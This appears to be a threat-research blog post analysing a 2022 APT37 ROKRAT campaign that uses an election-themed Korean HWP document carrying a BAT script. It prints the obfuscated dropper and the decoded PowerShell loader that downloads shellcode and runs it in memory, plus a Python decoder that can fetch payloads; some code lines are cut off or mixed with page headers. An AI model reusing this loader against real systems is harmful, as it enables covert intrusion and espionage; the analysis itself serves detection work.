RE:archive | APT37's ROKRAT HWP Object Linking and Embedding
REarchive Research

RE:archive | APT37's ROKRAT HWP Object Linking and Embedding

Please note: The sample covered in this report is from 2022. I have covered this sample for archiving purposes and does not pertain to a known recent threat campaign, though the techniques covered may still apply.


This project, aims to cover the reverse engineering of malware and exploits of historic or prior campaigns by APT groups. Of course, were possible, I want to cover malware and exploits of current samples, but sometimes this is not possible. Either, it's too sensitive to disclose, it wasn't found in my network of people or the sample has not been published. So much of content produced by TI corporations on malware samples is either high-level, abstracted or sometimes does not disclose samples for reverse engineering. Along my travels, I'm often revisiting old samples to understand TTPs or evolutions. Retrohunting, is also retroreverse engineering I say.

I came across this brief report I wrote back in 2022 and believe it can be valuable to share here, so sharing it publicly. Based on my experience with analysing this threat actor, this sample is related to APT37's ROKRAT operations. I have previously written about ROKRAT impacting Android devices here, however this campaign specifically related to Windows devices. In some previous analysis within this project, I also covered GOLDBACKDOOR dropper malware.

APT37 & HWP Object Linking and Embedding

This is a short report detailing a sample analysis from 2022. The sample contained in this report: 5fec6e533fb9741997530a3d43b60ee44e2e6dc0fd443ef135b9d311b73d92a8

APT37, is a advance persistent threat group attributed to the North Korean government. It has been active since at least 2012 and is known for conducting espionage operations primarily targeting South Korea, Japan, and other neighboring countries, although it has also been observed targeting entities worldwide.

APT37 is notable for its advanced capabilities and its use of a wide range of attack techniques, including spear-phishing, malware deployment, and zero-day exploits. The group has been linked to numerous high-profile attacks, including the targeting of non-profit groups, government agencies, defense contractors, media organizations, and financial institutions.

One of APT37's primary objectives appears to be gathering intelligence on political and military issues in the region, as well as stealing intellectual property and conducting disruptive or destructive cyber operations. The group has been known to use a variety of malware tools, including remote access trojans (RATs) such as ROKRAT.

APT37's activities are believed to be coordinated and supported by the North Korean government, although the exact relationship between the group and the state remains somewhat unclear.

For many researchers, APT37's HWP object linking and embedding document lures are well understood. However, for the purpose of archiving this report will cover a 2022 version of the malware campaign, detailing granular details on the campaign. Malicious HWP (Hangul Word Processor) Object Linking and Embedding (OLE) documents refer to a type of cyber threat where attackers embed harmful content or code within HWP files using OLE technology. HWP is a popular word processing software in South Korea, developed by Hancom Inc., and OLE is a technology that allows embedding or linking objects (such as documents, images, or multimedia) from one application to another.

In the context of cyberattacks, attackers may exploit vulnerabilities in HWP software or utilize social engineering tactics to trick users into opening malicious HWP documents. Once opened, these documents can execute embedded scripts, launch malware, or exploit system vulnerabilities, potentially leading to data theft, system compromise, or further infiltration into the victim's network.

Threat report

Subject: 제20대_대통령선거_선거권자_개표참관인_공개_모집(최종)
Translated subject: 20th_Presidential Election_Election holders_Votecount Observer_Open_Recruitment
Sender: 중앙선거관리위원회 공보과 (
Translated sender: Public Information Division, Central Election Commission

Diamond model Breakdown:
Persona: kopo1scom98
Origin: NK
Group: Characteristics of APT37 & Kimsuky
Victim: Human rights NGO
Capability: Reflective DLL Injection, HWP Object Linking and Embedding, BAT Scripts
- https://[.]work3[.]b4a[.]app/
- Amazon hosted stager
"HTTP/1.1 401 Unauthorized Date: Mon, 08 Aug 2022 14:14:49 GMT Content-Type: application/json;
charset=utf-8 Content-Length: 24 Connection: keep-alive X-Powered-By: Express ETag: W/"18-
gH7/fIZxPCVRh6TuPVNAgHt/40I" "
- JARM: "29d29d00029d29d00029d29d29d29d4d0c5eed338ce212ffe821a67732ded8" (Very generic
[Amazon] - not to be used for specific attribution)

중앙선거관리위원회는 제20대 대통령선거 개표상황을 참관할 개표참관인을 2월 8일부터 12일까지 공개 모집한다.
개표참관인은 개표소 안에서 개표상황을 언제든지 순회·감시 또는 촬영할 수 있고, 개표에 관한 위법사항을 발견한 때
에는 시정을 요구할 수 있다.
개표참관인 공개 모집은 개표절차의 투명성을 높이기 위해 2016년 제20대 국회의원선거부터 실시하고 있는 제도이다.
개표참관인이 되려는 사람은 중앙선관위 홈페이지(에서 본인 인증 후 신청서를 작성하거나, 주소지 관
할 구·시·군선관위에 서면으로 신청하면 된다.
선거권이 있는 사람은 누구나 신청할 수 있지만, 대한민국 국민이 아니거나 미성년자(18세 미만인 자), 공무원 등 「공
직선거법」에서 제한하고 있는 사람은 개표참관인이 될 수 없다.

Translated body:
“The National Election Commission will openly recruit vote counting observers to observe the counting of the 20th presidential election from February 8 to 12. Counting observers may circulate, monitor, or take pictures of the counting situation at any time inside the polling station, and when they discover any illegality regarding the counting, they may request correction. The open recruitment of vote counting observers is a system that has been implemented since the 20th National Assembly election in 2016 to enhance the transparency of the ballot counting process. Those wishing to become a ballot counting observer can either fill out an application form after verifying their identity on the website of the National Election Commission (, or apply in writing to the Gu/Si/Gun Election Commission having jurisdiction over their address. Anyone with the right to vote can apply, but non-Korean citizens, minors (those under the age of 18), public
officials, etc.”

The email contains a HWP Doc which has a embedded OLE object in the form of a BAT script. Once the user clicks on the OLE object, the BAT script executes which in turn creates a PowerShell-based reflective DLL injection attack on the victims machine. The payload is loaded into memory from:


Since the operation loads malicious code directly into memory, there is very little interaction on disk which can
create little noise and allows the attacker to be relatively stealthy.

Analysis Details:
HWP Doc attached contains a OLE object (batch file) which runs. There is a text prompt aimed to get user to
click. Once clicked the BAT script executes, which is as follows:
Filename: 327.bat
SHA256: 5fec6e533fb9741997530a3d43b60ee44e2e6dc0fd443ef135b9d311b73d92a8

@echo off
IF EXIST "%PROGRAMFILES(X86)%" (set pspath="%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe")
ELSE (set pspath="%windir%\system32\WindowsPowerShell\v1.0\powershell.exe")
start "" %pspath% -command "$ttms="$eruk2=""""246B6B79343D275B446C6C496D706F727428227573657233322E646C6C22295D2
2022_2_6-”20th_Presidential Election”4B"""";
for($i=0;$i -le $eruk2.Length-2;$i=$i+2){$NTMO=$eruk2[$i]+$eruk2[$i+1];$blwp= $blwp+[char]([convert]::toint16($N
Invoke-Command -ScriptBlock ([Scriptblock]::Create($blwp));";
Invoke-Command -ScriptBlock ([Scriptblock]::Create($ttms));"

These campaigns can be decoded quickly using the following script I created, which will decode and allow for further payload extraction. It simply decodes the hexadecimal values in the input using the extract_hexadecimal_value function, converting them into ASCII characters.

# Script to quickly decode the powershell encoded commands in ROKRAT delivery files. 
# It will allow the user to quickly see the decoded result, extract the payload delivery host and have the option to pull the payload from the host for further analysis.

import re
import requests
import zipfile
import os

def extract_hexadecimal_value(userinput):
    bulst = ""
    i = 0
    for i in range(0, len(userinput) - 2, 2):
        NTMO = userinput[i:i + 2]
        bulst += chr(int(NTMO, 16))

    return bulst

def extract_urls(text):
    pattern = r'https?://[^\s"]+'
    urls = re.findall(pattern, text)
    return urls

def download_payload(url):
    response = requests.get(url)
    if response.status_code == 200:
        return response.content
        print("\033[91mFailed to download the payload.\033[0m")
        return None

def zip_payload(payload, filename):
    with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED) as zip_file:
        zip_file.writestr("payload.bin", payload)

if __name__ == "__main__":
    userinput = input("Enter the encoded command: ")

    value = extract_hexadecimal_value(userinput)

    print("\033[93mThe decoded command is:\033[0m")

    urls = extract_urls(value)

    if urls:
        print("\n\033[93mExtracted URLs:\033[0m")
        for idx, url in enumerate(urls, start=1):
            print(f"{idx}. {url}")

        choice = input("\n\033[96mDo you want to pull the payload? (yes/no):\033[0m ").strip().lower()

        if choice == 'yes':
            print("\n\033[91mWARNING: You are about to download the raw shellcode from the payload delivery URL.\033[0m")
            confirm = input("\033[96mDo you wish to continue? (yes/no):\033[0m ").strip().lower()
            if confirm == 'yes':
                for idx, url in enumerate(urls, start=1):
                    payload = download_payload(url)
                    if payload:
                        filename = f"payload_{idx}.zip"
                        zip_payload(payload, filename)
                        print(f"\033[92mPayload downloaded and zipped to {filename}.\033[0m")
                        print("\033[91mFailed to download the payload.\033[0m")
                print("\033[91mDownload aborted.\033[0m")
            print("\033[91mDownload aborted.\033[0m")
        print("\n\033[93mNo URLs found in the value.\033[0m")

The decoded output looks like this:

$kky4='[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);';
$mmy4=Add-Type -MemberDefinition $kky4 -Name "kky4" -PassThru;
$mmy4::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);
$ay4=Get-WmiObject Win32_Process -filter "Name like 'Hwp%'";
if($by4){$dy4="/c taskkill /f /im "+$by4;
cmd $dy4;
wait-process $by4.Split('\.')[-2];
$ey4=$cy4.Split('"').count;if($cy4[0] -eq '"')
{if($ey4 -eq 3){$fy4=$cy4.Split('"')[2].Split(' ')[1];}
elseif($ey4 -eq 5){$fy4=$cy4.Split('"')[3];}}
if($ey4 -eq 3){$fy4=$cy4.Split('"')[1];}
else{$fy4=$cy4.Split(' ')[1];}}
$dy4="/c copy /y "+$gy4+" "+$iy4;$pey4=0;
$psy4=cmd $dy4;
sleep 1;
if($pey4 -eq 5)
while($psy4.Trim()[0] -ne '1');
start $iy4;}
$jy4="cmd /c del /f "+ $gy4;
cmd $jy4;
$jy4="cmd /c del /f "+ $hy4;
cmd $jy4;
[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072);
$ly4='[DllImport("kernel32.dll")]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b=Add-Type -MemberDefinition $ly4 -Name "AAA" -PassThru;
$my4 = '[DllImport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr
$ky4=Add-Type -MemberDefinition $my4 -Name "AAB" -PassThru;
$c = New-Object System.Net.WebClient;
$ny4='[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint
e,IntPtr f);';
$qy4=Add-Type -MemberDefinition $ny4 -Name "BBB" -PassThru;
$oy4='[DllImport("kernel32.dll")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$ty4=Add-Type -MemberDefinition $oy4 -Name "DDD" -PassThru;
do {
try { $c.Headers["user-agent"] = "uuuuuuuuu";
$uy4 = $b::GlobalAlloc(0x0040, $py4.Length+0x100);
2022_2_6-”20th_Presidential Election”5$ry4 = 0;
$ky4::VirtualProtect($uy4, $py4.Length+0x100, 0x40, [ref]$ry4);
for ($h = 0;$h -lt $py4.Length;$h++) {[System.Runtime.InteropServices.Marshal]::WriteByte($uy4, $h, $py4[$h]);};
try{throw 1;}
$ty4::WaitForSingleObject($sy4, 500*1000);};$e=222;}
catch{sleep 2;$e++;}}while($e -lt 114);

A very similar sample described here: Malicious HWP Files with BAT Scripts Being Distributed Actively (North Korea/National Defense/Broadcasting) - ASEC BLOG (

At the time of writing, the shellcode stager was down, so unable to pull the shellcode that is loaded into memory.

The sample utilising Add-Type cmdlet to add definitions of classes. First it creates this class called kky4

$kky4='[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);';
$mmy4=Add-Type -MemberDefinition $kky4 -Name "kky4" -PassThru;
$mmy4::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0)

When Add-Type cmdlet is executed, CSC.exe (Visual C# Command-Line compiler) is invoked on the host by PowerShell, this is a notable TTP to observe on victims (Powershell.exe → CSC.exe → cvtres.exe). CSC is used to compile this class definition into an assembly to be used by the PowerShell script. A temporary file
is created inside %appdata%\local\temp with the extension .cmdline. In this case, our sample creates this file

/t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automati
on\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\Louise\A
ppData\Local\Temp\uzicvxsd\uzicvxsd.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\Louise\AppData\Lo

Since all the files are removed once the Add-Type terminates, this attack methodology allows for a relatively low file impact on the disk, supporting the attackers obfuscation. The script utilising WMI to looks for HWP and kill the process. This is a notable pattern since this is not common. It then performs some cleanup operations on two files, hhbrgof6.tmp & 327.bat.

$ay4=Get-WmiObject Win32_Process -filter "Name like 'Hwp%'";
if($by4){$dy4="/c taskkill /f /im "+$by4;
cmd $dy4;
wait-process $by4.Split('\.')[-2];
$ey4=$cy4.Split('"').count;if($cy4[0] -eq '"')
{if($ey4 -eq 3){$fy4=$cy4.Split('"')[2].Split(' ')[1];}
elseif($ey4 -eq 5){$fy4=$cy4.Split('"')[3];}}
2022_2_6-”20th_Presidential Election”6if($ey4 -eq 3){$fy4=$cy4.Split('"')[1];}
else{$fy4=$cy4.Split(' ')[1];}}
$dy4="/c copy /y "+$gy4+" "+$iy4;
$psy4=cmd $dy4;
sleep 1;
if($pey4 -eq 5)
while($psy4.Trim()[0] -ne '1');
start $iy4;}
$jy4="cmd /c del /f "+ $gy4;
cmd $jy4;
$jy4="cmd /c del /f "+ $hy4;
cmd $jy4;

They then set SSL/TLS secure channel using TLS12

[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072)

Followed by the further creation of additional classes this time importing Kernel32 in order to access GlobalAlloc and VirtualProtect methods:

$ly4='[DllImport("kernel32.dll")]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b=Add-Type -MemberDefinition $ly4 -Name "AAA" -PassThru;
$my4 = '[DllImport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$ky4=Add-Type -MemberDefinition $my4 -Name "AAB" -PassThru;

The C2 is declared to variable.

They then allocates memory for the shellcode

$uy4 = $b::GlobalAlloc(0x0040, $py4.Length+0x100)

Followed by utilising VirtualProtect to make the memory section executable.

$ky4::VirtualProtect($uy4, $py4.Length+0x100, 0x40, [ref]$ry4);

And lastly, writing the bytes from the downloaded assembly, creating a threat for the executable code and calls WaitForSingleObject to wait for the thread to end.

or ($h = 0;$h -lt $py4.Length;$h++) {[System.Runtime.InteropServices.Marshal]::WriteByte($uy4, $h, $py4[$h]);};
try{throw 1;}
$ty4::WaitForSingleObject($sy4, 500*1000);};
catch{sleep 2;$e++;}}
while($e -lt 114);

Unfortunately, since the shellcode stager is down, no further analysis can be conducted on shellcode loaded into memory. Upon completion, malicious shellcode will be executed in memory. This infrastructure was later seen utlitsed deploying ROKRAT samples, so I am assuming here that the shellcode would have resulted in ROKRAT given my experience with this threat actor.

If you like this work, please consider subscribing for more content & tiered access.